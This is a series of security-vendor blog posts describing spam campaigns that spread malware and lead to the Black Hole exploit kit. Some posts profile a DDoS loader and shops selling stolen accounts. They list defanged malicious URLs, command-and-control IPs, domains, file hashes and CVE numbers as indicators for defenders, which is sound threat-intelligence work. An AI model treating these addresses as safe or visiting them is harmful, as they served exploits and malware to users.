Bogus Skype 'Password successfully changed' notifications lead to malware - Webroot Blog

facebook linkedin twitter

Skype users, beware!

Cybercriminals are currently spamvertising millions of emails impersonating Skype, in an attempt to trick Skype users that their password has been successfully changed, and that in order to view their call history and change their account settings, they would need to execute the malicious attachment found in the emails.

More details:

Screenshot of the spamvertised email:

Detection rate for the malicious attachment: MD5: 0e78d3704332c59b619f872fd6d33d25 – detected by 32 out of 43 antivirus scanners as Trojan-Downloader.Win32.Andromeda.qw. Upon execution, the malware opens a backdoor allowing the cybercriminals behind the campaign complete access to the affected user's host.

We've already seen the same MD5 used in the recently profiled "'**Your UPS Invoice is Ready' themed emails serve malware** " campaign. Clearly, they're both launched by the same cybercriminal/gang of cybercriminals.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Your UPS Invoice is Ready' themed emails serve malware - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals launched yet another massive spam campaign, impersonating the United Parcel Service (UPS), in an attempt to trick its current and prospective customers into downloading and executing the malicious attachment found in the email. Upon execution, the malware opens a backdoor on the infected host, allowing the cybercriminals behind the campaign to gain complete control over the victim's host.

More details:

Screenshot of the spamvertised email:

Detection rate for the malicious attachment: **MD5: 0e78d3704332c59b619f872fd6d33d25** – detected by 32 out of 43 antivirus scanners as Trojan-Downloader.Win32.Andromeda.qw.

Go through related analyses of UPS themed malicious campaigns:

Cybercriminals impersonate UPS, serve client-side exploits and malware Cybercriminals impersonate UPS, serve malware Cybercriminals impersonate UPS in client-side exploits and malware serving spam campaign Spamvertised 'UPS Delivery Notification' emails serving client-side exploits and malware Spamvertised 'Your UPS delivery tracking' emails serving client-side exploits and malware

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate Delta Airlines, serve malware - Webroot Blog

facebook linkedin twitter

Following the recently launched malicious campaigns impersonating **KLM** and **American Airlines** , cybercriminals are once again busy impersonating yet another company, this time it's Delta Airlines.

More details:

Screenshot of the spamvertised email:

Detection rate for the malicious attachment: MD5: fe02ffade8660c89633862888ec3b1a8 detected by 3 out of 43 antivirus vendors as ZIP/Bredolab.A!Camelot; Mal/BredoZp-B.

What's particularly interesting about this campaign is that, it demonstrates the lack of QA (Quality Assurance) applied by the cybrecriminals who launched it. Case in point – the attached archive in all emails has been corrupted, preventing potential victims from becoming infected.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

PayPal 'Notification of payment received' themed emails serve malware - Webroot Blog

facebook linkedin twitter

Sticking to their proven tactic of systematically rotating the impersonated brands, cybercriminals are currently spamvertising millions of emails impersonating PayPal, in an attempt to trick its users into downloading and executing the malicious attachment found in the legitimate looking email.

More details:

Screenshot of the spamvertised email:

Detection rate for the malicious archive: MD5: 9c2f2cabf00bde87de47405b80ef83c1 – detected by 39 out of 43 antivirus scanners as Backdoor.Win32.Androm.fm. Once executed, the sample opens a backdoor on the infected host, allowing cybercriminals to gain complete control over the infected host.

Go through related analyses of spamvertised malicious campaigns impersonating PayPal:

Spamvertised 'PayPal has sent you a bank transfer' themed emails lead to Black Hole exploit kit Spamvertised 'Confirm PayPal account" notifications lead to phishing sites Spamvertised 'Your Paypal Ebay.com payment' emails serving client-side exploits and malware Cybercriminals spamvertise PayPay themed 'Notification of payment received' emails, serve malware

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Russian cybercriminals release new DIY DDoS malware loader - Webroot Blog

facebook linkedin twitter

On a daily basis, new market entrants into the cybercrime ecosystem attempt to monetize their coding skills by releasing and branding new DIY DDoS malware loaders. Largely dominated by “me too” features, these DIY malware loaders are purposely released with prices lower than the prices of competing bots, in an attempt by the cybercriminal behind them to gain market share – a necessary prerequisite for a successful long-term oriented business model.

In this post, I’ll profile a recently released Russian DDoS malware bot.

More details:

Sample screenshot of the GUI of the DDoS malware loader:

As you can see in the above screenshot, the cybercriminal behind the malware loader has already managed to infect 1,118 users, the majority of whom are based in Turkey, followed by India and Mexico.

Second screenshot of the GUI of the DDoS malware loader:

He has also managed to infect a variety of different Microsoft Windows versions.

Third screenshot of the GUI of the DDoS malware loader:

Some of the key features of the malware loader are:

– Intuitive command and control panel
– DDoS capability, currently supporting HTTP/SYN Flood/UDP flood
– Loader functionality
– Visit a specific site — potential click-fraud abuse
– USB spreading mechanism
– Socks5 conversion available
– Update mechanism for the malware loader
– 256 bit AES encryption used in the command and control

communication
– Anti-Debugging functionality

Go through related profiles of DIY DDoS bots and malware loaders:

New Russian DIY DDoS bot spotted in the wild A peek inside the Darkness (Optima) DDoS Bot A peek inside the Cythosia v2 DDoS Bot A peek inside the uBot malware bot A peek inside the Smoke Malware Loader A peek inside the PickPocket Botnet A peek inside the Umbra malware loader

What's particularly interesting about this malware loader, is the fact that it's a modification of the original code by Chrystal, author of the first versions. Sample screenshots of version 1.0:

We'll continue monitoring the development of this malware loader.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Regarding your Friendster password' themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails, impersonating Friendster, in an attempt to trick its current and prospective users into clicking on a malicious link found in the email.

Upon clicking on the link, users are exposed to the client-side exploits served by the latest version of the Black Hole exploit kit.

More details:

Sample screenshot of the spamvertised email:

Sample screenshot of the obfuscated Java script loading the malicious iFrame:

Malicious URL: *hxxp://sonatanamore.ru:8080/forum/links/column.php*

Client-side exploits serving URL: *hxxp://sonatanamore.ru:8080/forum/links/column.php?iqtxfe=3533020635&smr=3307093 738070736060b&grrhh=03&ndgywdt=nyurdae&aquotd=uox*

Client-side exploits served: *CVE-2010-0188*

sonatanamore.ru used to respond to the following IPs – 70.38.31.71; 202.3.245.13; 203.80.16.81; 213.251.162.65

Responding to the same IPs are also the following malicious domains: limonadiksec.ru rumyniaonline.ru denegnashete.ru ioponeslal.ru moskowpulkavo.ru onlinebayunator.ru lenindeads.ru omahabeachs.ru uzoshkins.ru sectantes-x.ru

Sample detection rate for the malicious iFrame loading script: **friedster.html** – **MD5: c444036179aa371aebf9bae3e7cc5eef** – detected by 12 out of 42 antivirus scanners as Exploit.JS.Blacole; Trojan.JS.Iframe.acn

Upon successful client-side exploitation, the campaign drops **MD5: 8fa93035ba01238dd7a55c378d1c2e40** on the affected host, currently detected by 24 out of 43 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.aeuz; Worm:Win32/Cridex.E

Upon execution, the sample phones back to **95.142.167.193:8080/mx/5/A/in** .

What's also worth pointing out in regard to this campaign is the fact that, during the time the Friendster-themed campaign was spamvertised, another campaign was also launched with identical MD5 for the javascript obfuscation script.

Sample screenshot of the spamvertised campaign:

Clearly, both campaigns have been launched by the same cybercriminal/gang of cybercriminals.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Malware campaign spreading via Facebook direct messages spotted in the wild - Webroot Blog

facebook linkedin twitter

Trust is vital, and cybercriminals know that there's a higher probability that you will click on a link sent by a trusted friend, not from a complete stranger.

Yesterday, one of my Facebook friends sent me a direct message indicating that his host has been compromised, and is currently being used to send links to a malicious .zip archive through direct messages to all of his Facebook friends.

More details:

Sample screenshot of the spamvertised direct download link:

Same compromised direct URLs used in the direct messages:
hxxp://thegrottospa.com/6XX6l91m24m4x01B8
hxxp://vebest.com/NNbccq491rr4II002
hxxp://goplayersedge.com/429XbppG7702D8HV6

All of these redirect to **hxxp://74.208.231.61:81/l.php** – tomascloud.com – AS8560 where the user is exposed to a direct download link of Picture15.JPG.zip.

Detection rate: **MD5: dfe23ad3d50c1cf45ff222842c7551ae** – detected by 20 out of 43 antivirus scanners as Trojan.Win32.Bublik.iez; Worm:Win32/Slenfbot

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile**. You can also **follow him on Twitter**.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'KLM E-ticket' themed emails serve malware - Webroot Blog

facebook linkedin twitter

KLM customers, beware!

Cybercriminals are currently spamvertising millions of legitimate-looking emails, in an attempt to trick current and prospective KLM customers into executing the malicious attachment found in the email.

More details:

Sample screenshot of the spamvertised 'KLM E-ticket' themed email:

Second screenshot of the spamvertised 'KLM E-ticket' themed email:

Detection rate for the malicious attachment: KLM-e-Ticket.pdf.exe – **MD5: 9c51f89ec22913bfac3d44afb486376b** – detected by 34 out of 43 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.wqc; Gen:Heur.PIF.3

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile**. You can also **follow him on Twitter**.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Intuit Payroll Confirmation inquiry' themed emails lead to the Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals launched two consecutive massive email campaigns, impersonating Intui Payroll's Direct Deposit Service system, in an attempt to trick end and corporate users into clicking on the malicious links found in the mails.

Upon clicking on any of links found in the emails, users are exposed to the client-side exploits served by the latest version of the Black Hole exploit kit.

More details:

Sample screenshot of the first spamvertised campaign:

Upon clicking on the links found in the malicious emails, users are exposed to the following bogus "Page loading…" screen:

Screenshots of the second spamvertised campaign:

Sample spamvertised compromised URLs: *hxxp://www.partypromgowns.com/wp-content/plugins/zaddmuruxhm/prdiqbss.html hxxp://whitfordmedical.co.nz/wp-content/plugins/zoaddiyefar/prdiqbss.html hxxp://hanvietroll.com/components/com_ag_google_analytics2/itordernote.html hxxp://aprst.com/components/com_ag_google_analytics2/croconfrm.html*

Sample client-side exploit serving URLs: *hxxp://art-london.net/detects/stones-instruction_think.php hxxp://buycelluleans.com/detects/groups_him.php hxxp://buycelluleans.com/detects/groups_him.php?zgdljis=3833043409&lkaqagg=0636060a350838350b06&pfat=03&ayna=rapcdmse&zvyhcimn=yecbbs hxxp://art-*

london.net/detects/stones-instruction_think.php?lwkmvtb=3533020635&qbstxmw=43&cvsd=0b0a33350a0735020405&stbdtv=0a000300040002

Both of these malicious domains use to respond to **183.81.133.121** ; **195.198.124.60** ; **203.91.113.6** . More malicious domains part of the campaign's infrastructure are known to have responded to the same IPs, for instance, **buzziskin.net** ; **addsmozy.net** ; **buycelluleans.com** ; **indice-acores.net** . The campaign used to rely on the following name servers: **ns1.zikula-support.com** ; **ns2.zikula-support.com**

Sample client-side exploits served: *CVE-2010-0188*

Upon successful client-side exploitation, the campaign drops **MD5: 5723f92abf257101be20100e5de1cf6f** and **MD5: 06c6544f554ea892e86b6c2cb6a1700c** on the affected hosts.

Related analysis of malicious campaigns impersonating Intuit:

Intuit themed 'QuickBooks Update: Urgent' emails lead to Black Hole exploit kit Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails Spamvertised Intuit themed emails lead to Black Hole exploit kit

Detection rate, **MD5: 5723f92abf257101be20100e5de1cf6f** – detected by 17 out of 43 antivirus scanners as Gen:Variant.Kazy.96378; Worm.Win32.Cridex.js, **MD5: 06c6544f554ea892e86b6c2cb6a1700c** – detected by 26 out of 43 antivirus scanners as Trojan.Win32.Buzus.mecu; Worm:Win32/Cridex.B

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Bogus Facebook notifications lead to malware - Webroot Blog

facebook linkedin twitter

In an attempt to trick users into getting themselves infected with malware, cybercriminals are currently spamvertising millions of emails impersonating Facebook.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the spamvertised attachment: Your_Friend_New_photos-updates.jpeg.exe – **MD5: 8601ece8b0c79ec3d4396f07319bbff1** – detected by 36 out of 43 antivirus scanners as Win32/TrojanDownloader.Wauchos.A; Trojan-Ransom.Win32.PornoAsset.xen

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

American Airlines themed emails lead to the Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals launched yet another massive spam campaign, this time impersonating American Airlines in an attempt to trick its customers into clicking on a malicious link found in the mail. Upon clicking on the link, users are exposed to the client-side exploits served by the Black Hole Exploit Kit v2.0

More details:

Sample screenshot of the spamvertised email:

Spamvertised compromised URL: *hxxp://malorita-hotel.by/wp-config.htm*

Detection rate for a sample Java script redirection: American_Airlines.html – **MD5: 7b23a4c26b031bef76acff28163a39c5** – detected by 9 out of 42 antivirus scanners as JS/Exploit-Blacole.gc; JS:Blacole-CF [Expl]

Sample client-side exploits serving URL: *hxxp://omahabeachs.ru:8080/forum/links/column.php*

We've already seen the same malicious email used in the previously profiled "**Cybercriminals impersonate UPS, serve client-side exploits and malware** " campaign, clearly indicating that these campaigns are launched by the same cybercriminal/gang of cybercriminals.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Your video may have illegal content' themed emails serve malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating Google's YouTube team, in an attempt to trick end and corporate users into executing the malicious attachment found in the email. Upon execution, the samples opens a backdoor on the affected host, allowing full access to the targeted host by the cybercriminals behind the campaign.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment: Content_ID_Matches.avi.exe – **MD5: 38142e6d218752e8e0e17f13a40a6fc3** – detected by 32 out of 42 antivirus scanners as Trojan-Downloader.Win32.Andromeda.bm; Trojan.Gamarue.N

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise 'Amazon Shipping Confirmation' themed emails, serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Over the past week, cybercriminals have been spamvertising millions of emails impersonating Amazon.com in an attempt to trick customers into thinking that they've received a Shipping Confirmation for a Vizio XVT3D04, HD 40-Inch 720p 100 Hz Cinema 3D LED-LCD HDTV FullHD and Four Pairs of 3D Glasses.

Once users click on any of the links found in the malicious email, they're automatically exposed to the client-side exploits served by the latest version of the Black Hole Exploit kit.

More details:

Sample screenshot of the spamvertised email:

Second screenshot of the spamvertised email impersonating Amazon.com Inc:

Once users click on the links found in the malicious email, they're presented with the following bogus "Page loading…" page:

Sample subjects used in the spamvertised emails: *Re: HD TV Waiting on delivery Few hours ago* ; *Your HDTV Delivered Now* ; *Re: HDTV Processed Yesterday* ; *Re: Order Processed Today* ; *Your Order Approved Few hours ago*

Sample compromised URLs used in the malicious campaign: *hxxp://manxwoman.net/administrator/amazinhdtv.html* ; *hxxp://shuraki.com/wp-admin/hdtvamazon.html* ; *hxxp://hagigim.net/wp-admin/hdtvamazon.html* ; *hxxp://localsearchtrafficnow.com/wp-admin/hdtvamazon.html* ; *hxxp://aclcinema.com/wp-admin/hdtvamazon.html* ; *hxxp://mulberryhandbags.net/images/hdtvamazon.html* ;

hxxp://doomsdaypreppersplan.com/wp-admin/hdtvamazon.html ; hxxp://christiaanse-taxateur.nl/wp-admin/hdtvamazon.html ; hxxp://institutobiblicosanpablo.org/site/amazinhdtv.html ; hxxp://lacastalia.com/scripts/amazinhdtv.html ; hxxp://twoshakes.ca/wp-admin/amazinhdtv.html ; hxxp://quangcaowebtrengoogle.com/administrator/amazinhdtv.html ; hxxp://vedsoft.info/wp-admin/amazinhdtv.html ; hxxp://kineticenergix.com/wp-admin/amazinhdtv.html ; hxxp://smescement.ru/3dhdtvordr.html ; hxxp://j-goods.us/3dhdtvordr.html ; hxxp://xn--nietypowe-meble-na-zamwienie-6zc.pl/3dhdtvordr.html

Sample detection rate for the malicious Java script: – Amazon.html – **MD5: a8af3b2fba56a23461f2cc97a7b97830** detected by 20 out of 43 antivirus scanners as JS/Obfuscus.AACB!tr; Trojan-Downloader.JS.Expack.ael

Client-side exploitation URL: *hxxp://webgrafismo.net/detects/rates-event_convinced-sent.php; hxxp://webgrafismo.net/detects/rates-event_convinced-sent.php?bve=3406073633&prny=3949&cmarvjgs=qqfngaf&gugrxt=qrs; hxxp://pallada-cruise.net/detects/plain-keyboard_beginning-monitor.php*

Once a successful client-side exploitation takes place, the Black Hole Exploit kits drops a malicious PDF file with **MD5: 9a22573eb991a3780791a2df9c55ddab** that's exploiting the **CVE-2010-0188** vulnerability.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Vodafone Europe: Your Account Balance' themed emails serve malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails, impersonating Vodafone Europe, in an attempt to trick their customers into executing the malicious file attachment found in the email.

More details:

Sample screenshot of the spamvertised email:

Detection rate: Vodafone_Account_Balance.pdf.exe – **MD5: 8601ece8b0c79ec3d4396f07319bbff1** – detected by 36 out of 42 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.xen; Worm:Win32/Gamarue.F

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate UPS, serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals spamvertised millions of email addresses, impersonating UPS, in an attempt to trick end users into viewing the malicious .html attachment. Upon viewing, the file loads a tiny iFrame attempting to serve client-side exploit served by the latest version of the Black Hole Exploit kit, which ultimately drops malware on the affected host.

More details:

Sample screenshot of the spamvertised email:

Sample malicious iFrame URLs found in multiple malicious .html files: *hxxp://denegnashete.ru:8080/forum/links/column.php* ; *hxxp://soisokdomen.ru:8080/forum/links/column.php* ; *hxxp://diareuomop.ru:8080/forum/links/column.php* ; *hxxp://omahabeachs.ru:8080/forum/links/column.php* ;*hxxp://penelopochka.ru:8080/forum/showthread.php?page* ; *hxxp://furnitura-forums.ru:8080/forum/showthread.php?page* ; *hxxp://onerussiaboard.ru:8080/forum/showthread.php?page* ; *hxxp://online-gaminatore.ru:8080/forum/showthread.php* ; *hxxp://bmwforummsk.ru:8080/forum/showthread.php?page*

Sample detection rate for a malicious .html file found in the spamvertised emails : UPS_N21489880.htm – **MD5: 38a2a54d6e7391d7cd00b50ed76b9cfb** – detected by 26 out of 43 antivirus scanners as Trojan.Iframe.BCK; Trojan-Downloader.JS.Iframe.dbh

Client-side exploits serving URL: *hxxp://denegnashete.ru:8080/forum/data/java.jar* – **MD5: 86946ec2d2031f2b456e804cac4ade6d** – detected by 25 out of 43 antivirus scanners as Java/Cve-2012-1723; Exploit:Java/CVE-2012-4681.H

denegnashete.ru is currently responding to the following IPs – 84.22.100.108; 190.10.14.196; 203.80.16.81; 61.17.76.12; 213.135.42.98

Related malicious domains part of the campaign's infrastructure: rumyniaonline.ru – 84.22.100.108
denegnashete.ru – 84.22.100.108
dimabilanch.ru – 84.22.100.108
ioponeslal.ru – 84.22.100.108
moskowpulkavo.ru – 84.22.100.108
omahabeachs.ru – 84.22.100.108
uzoshkins.ru – 84.22.100.108
sectantes-x.ru – 84.22.100.108

Name servers part of the campaign's infrastructure: ns1.denegnashete.ru – 62.76.190.50
ns2.denegnashete.ru – 87.120.41.155
ns3.denegnashete.ru – 132.248.49.112
ns4.denegnashete.ru – 91.194.122.8
ns5.denegnashete.ru – 62.76.188.246
ns6.denegnashete.ru – 178.63.51.54

This isn't the first time that cybercriminals have impersonated UPS. Go through related analysis of previous campaigns impersonating the company:

Cybercriminals impersonate UPS, serve malware Cybercriminals impersonate UPS in client-side exploits and malware serving spam campaign Spamvertised 'UPS Delivery Notification' emails serving client-side exploits and malware Spamvertised 'Your UPS delivery tracking' emails serving client-side exploits and malware Spamvertised 'Wire Transfer Confirmation' themed emails lead to Black Hole exploit kit

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Recently launched E-shop sells access to hundreds of hacked PayPal accounts - Webroot Blog

facebook linkedin twitter

Largely relying on sophisticated and legitimate-looking phishing campaigns, next to active data mining of a botnet's infected population, today's cybercriminals are in a perfect position to monetize these fraudulently obtained assets in the form of compromised accounts.

From **compromised social networking accounts** , to direct access to **compromised servers and desktop PCs** , the market segment has been steadily growing over the past couple of months.

In this post I'll profile a newly launched cybercrime-friendly E-shop selling access to compromised accounts belonging primarily to PayPal users, but also, compromised accounts belonging to Apple, Walmart, Ebay and Skype users.

More details:

Sample screenshot of the newly launched service selling hundreds of PayPal accounts:

Second screenshot offering a peek inside the the cybercrime-friendly E-shop:

Third screenshot offering a peek inside the the cybercrime-friendly E-shop:

Fourth screenshot offering a peek inside the the cybercrime-friendly E-shop:

Just how dynamic is the market segment for selling compromised accounting details? Let's assess this by going through the updates posted on behalf of the E-shop's owner:

– 05:49:12 20/Sep/2012: Looking for reseller of (RDP , CVV) contact me via ICQ – 05:48:17 20/Sep/2012: Update UK Paypal (Mail | Balance) – 05:47:43 20/Sep/2012: Update Fresh Apple

*Account with CC – 19:55:46 12/Sep/2012: Update United Kingdom Paypal's – 19:55:16 12/Sep/2012: Update Walmart Account (Bulk) Fresh – 19:54:47 12/Sep/2012: Update Ebays (Bulk Account) High Feedback – 04:36:37 06/Sep/2012: Update UK Paypal – 04:36:20 06/Sep/2012: Update Fresh Ebay Account – 03:36:18 31/Aug/2012: Order for bulk open again , you can request account in a bulk (ebay,walmart,skype,etc) Contact Icq – 03:35:04 31/Aug/2012: Update ExtraMC (Include ssn/dob/etc/mail access) – 03:34:11 31/Aug/2012: Update US CC Valid rate 85-90% – 03:33:49 31/Aug/2012: Update Ebay account with mail access – 03:33:23 31/Aug/2012: Update 50 UK Paypals – 15:17:30 28/Aug/2012: Well Fargo & Chase Log Available via [ICQ] – 12:18:02 27/Aug/2012: Fresh USA administrator RDP only $4 – 23:23:19 20/Aug/2012: BillMeLater Available (Full Info) Contact ICQ – 23:22:53 20/Aug/2012: Paypal SmartConnect (Full info include Dob-SSN) Available) Contact ICQ – 21:40:51 17/Aug/2012: Update UK Paypal – 12:24:48 15/Aug/2012: eBay Account (Mail Access) – 12:23:59 15/Aug/2012: Update UK Paypals (Mail | Balance) – 00:01:37 09/Aug/2012: Update eBay Account – 00:01:20 09/Aug/2012: Update UK & US Paypal's – 00:00:48 09/Aug/2012: Update USA RDP – 23:33:42 05/Aug/2012: Update USA CC'S 50 – 23:33:20 05/Aug/2012: Update Skype (Balance + Online number) – 23:32:44 05/Aug/2012: Update RDP (AU,US) – 23:32:19 05/Aug/2012: Update Paypal Worldwide – 23:31:59 05/Aug/2012: Update Paypal UK – 17:44:35 04/Aug/2012: Changing New Host and Last site Backup is 31/07/2012 – 17:44:00 04/Aug/2012: Site Has been Ddosed by 1Gbps attack – 17:43:25 04/Aug/2012: Sorry for the Down Time – 17:27:16 30/Jul/2012: Update Fresh UK Paypal (Mail Access) – 17:26:40 30/Jul/2012: Update Worldwide Paypal – 20:25:44 27/Jul/2012: Update Paypals (Mail + Balance) – 20:24:59 27/Jul/2012: Update Admin RDP USA – 20:24:42 27/Jul/2012: Update Ebay Account – 20:24:20 27/Jul/2012: Update Amazon Account – 20:23:58 27/Jul/2012: Update BestBuy Account – 20:23:44 27/Jul/2012: Update Apple Account – 20:23:27 27/Jul/2012: Update Walmart – 08:41:31 21/Jul/2012: Please Use Mozilla Firefox – 21:54:04 19/Jul/2012: Update Account (Overstock , Apple , Dell) – 21:53:38 19/Jul/2012: Update CC's * USA CANADA*

– 21:53:14 19/Jul/2012: Update Walmart Account – 21:52:59 19/Jul/2012: Update Paypals (Mail Access) – 19:00:31 17/Jul/2012: Update Ebay / Overstock – 19:00:18 17/Jul/2012: Update CC'S – 18:59:58 17/Jul/2012: Update Paypals – 19:00:56 14/Jul/2012: Shop Back's Online – 18:32:24 24/Jun/2012: Reseller Welcome – 18:31:53 24/Jun/2012: Update Ebay Account – 18:31:41 24/Jun/2012: Update Walmart Bulk Account – 18:31:21 24/Jun/2012: Update 150 US Paypal – 16:10:42 20/Jun/2012: Update OverStock Account – 16:10:23 20/Jun/2012: Update Overstock (Bulk) – 16:10:05 20/Jun/2012: Update Paypals UK / US – 11:33:24 19/Jun/2012: Update 70 UK Paypal – 11:32:41 19/Jun/2012: Good day , we are now provide new service for increase your followers and Likes , for more information contact our support ICQ – 12:13:41 11/Jun/2012: For Bulk Ebay / Amazon / Mail Checked Kindly Contact our ICQ – 12:13:10 11/Jun/2012: Please Download your purchased – 12:12:26 11/Jun/2012: Register will closed Soon – 12:11:17 11/Jun/2012: Update Verified Paypal + Mail + Balance – 12:10:50 11/Jun/2012: Update Paypal Unverfied + Mail + Balance – 12:10:27 11/Jun/2012: Update GoogleCheckout – 12:10:05 11/Jun/2012: Update Ebay With Mail Acess

It's pretty obvious that the E-shop's owner is interested in retaining his customers by issuing periodic updates to the database consisting of compromised accounts obtained either through phishing campaigns, or through data mining a botnet's infected population.

We'll continue monitoring the development of the service.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New Russian service sells access to compromised Steam accounts - Webroot Blog

facebook linkedin twitter

For years, cybercriminals have been trying to capitalize on the multi-billion dollar PC gaming market. From active development of game cracks and patches aiming to bypass the distribution protection embedded within the games, to today's active data mining of a botnet's infected population looking for gaming credentials in an attempt to resell access to this asset, cybercriminals are poised to capitalize on this market.

What are some current trends within this market segment, and how are today's modern cybercriminals monetizing the stolen accounting data belonging to gamers internationally? Pretty simple – by automating the data mining process and monetizing the results in the form of E-shops selling access to these stolen credentials.

In this post, I'll profile a recently launched Russian service selling access to compromised **Steam accounts** .

More details:

Sample screenshot of the Russian service selling access to compromised Steam accounts:

The service offers access to Standard accounts, Elite Steam IDs, activation keys, and most interestingly, the opportunity to resell access to these fraudulently obtained assets, through an affiliate network. Let's take a peek at its inventory of fraudulently obtained assets.

Second screenshot of the Russian service selling access to compromised Steam accounts:

Third screenshot of the Russian service selling access to compromised Steam accounts:

Fourth screenshot of the Russian service selling access to compromised Steam accounts:

Fifth screenshot of the Russian service selling access to compromised Steam accounts:

Sixth screenshot of the Russian service selling access to compromised Steam accounts:

Seventh screenshot of the Russian service selling access to compromised Steam accounts:

